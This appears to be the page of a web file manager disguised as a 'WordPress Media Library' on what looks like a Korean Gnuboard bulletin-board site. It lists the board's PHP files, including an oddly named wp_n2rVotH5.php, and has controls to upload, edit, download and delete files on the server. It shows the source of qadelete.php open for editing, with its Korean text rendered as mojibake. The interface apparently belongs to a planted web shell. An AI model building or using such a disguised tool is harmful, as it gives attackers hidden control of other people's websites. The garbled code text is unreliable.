โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: qadelete.php
Size: 2.70 KB | Modified: 2019-01-10 22:38:00
<?php include_once('./_common.php'); if($is_guest) alert('ํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ์ฃผ์ญ์์ค.', G5_URL); $delete_token = get_session('ss_qa_delete_token'); set_session('ss_qa_delete_token', ''); //๊ด๋ฆฌ์๊ฐ ์๋๊ฒฝ์ฐ์๋ ํ ํฐ์ ๊ฒ์ฌํฉ๋๋ค. if (!$is_admin && !($token && $delete_token == $token)) alert('ํ ํฐ ์๋ฌ๋ก ์ญ์ ๋ถ๊ฐํฉ๋๋ค.'); $tmp_array = array(); if ($qa_id) // ๊ฑด๋ณ์ญ์ $tmp_array[0] = $qa_id; else // ์ผ๊ด์ญ์ $tmp_array = $_POST['chk_qa_id']; $count = count($tmp_array); if(!$count) alert('์ญ์ ํ ๊ฒ์๊ธ์ ํ๋์ด์ ์ ํํด ์ฃผ์ญ์์ค.'); for($i=0; $i<$count; $i++) { $qa_id = (int) $tmp_array[$i]; $sql = " select qa_id, mb_id, qa_type, qa_status, qa_parent, qa_content, qa_file1, qa_file2 from {$g5['qa_content_table']} where qa_id = '$qa_id' "; $row = sql_fetch($sql); if(!$row['qa_id']) continue; // ์์ ์ ๊ธ์ด ์๋๋ฉด ๊ฑด๋๋ if($is_admin != 'super' && $row['mb_id'] !== $member['mb_id']) continue; // ๋ต๋ณ์ด ๋ฌ๋ฆฐ ๊ธ์ ์ญ์ ๋ชปํจ if($is_admin != 'super' && !$row['qa_type'] && $row['qa_status']) continue; // ์ฒจ๋ถํ์ผ ์ญ์ for($k=1; $k<=2; $k++) { @unlink(G5_DATA_PATH.'/qa/'.$row['qa_file'.$k]); // ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row['qa_file'.$k])) { delete_qa_thumbnail($row['qa_file'.$k]); } } // ์๋ํฐ ์ธ๋ค์ผ ์ญ์ delete_editor_thumbnail($row['qa_content']); // ๋ต๋ณ์ด ์๋ ์ง๋ฌธ๊ธ์ด๋ผ๋ฉด ๋ต๋ณ๊ธ ์ญ์ if(!$row['qa_type'] && $row['qa_status']) { $row2 = sql_fetch(" select qa_content, qa_file1, qa_file2 from {$g5['qa_content_table']} where qa_parent = '$qa_id' "); // ์ฒจ๋ถํ์ผ ์ญ์ for($k=1; $k<=2; $k++) { @unlink(G5_DATA_PATH.'/qa/'.$row2['qa_file'.$k]); // ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row2['qa_file'.$k])) { delete_qa_thumbnail($row2['qa_file'.$k]); } } // ์๋ํฐ ์ธ๋ค์ผ ์ญ์ delete_editor_thumbnail($row2['qa_content']); sql_query(" delete from {$g5['qa_content_table']} where qa_type = '1' and qa_parent = '$qa_id' "); } // ๋ต๋ณ๊ธ ์ญ์ ์ ์ง๋ฌธ๊ธ์ ์ํ๋ณ๊ฒฝ if($row['qa_type']) { sql_query(" update {$g5['qa_content_table']} set qa_status = '0' where qa_id = '{$row['qa_parent']}' "); } // ๊ธ์ญ์ sql_query(" delete from {$g5['qa_content_table']} where qa_id = '$qa_id' "); } goto_url(G5_BBS_URL.'/qalist.php'.preg_replace('/^&/', '?', $qstr)); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete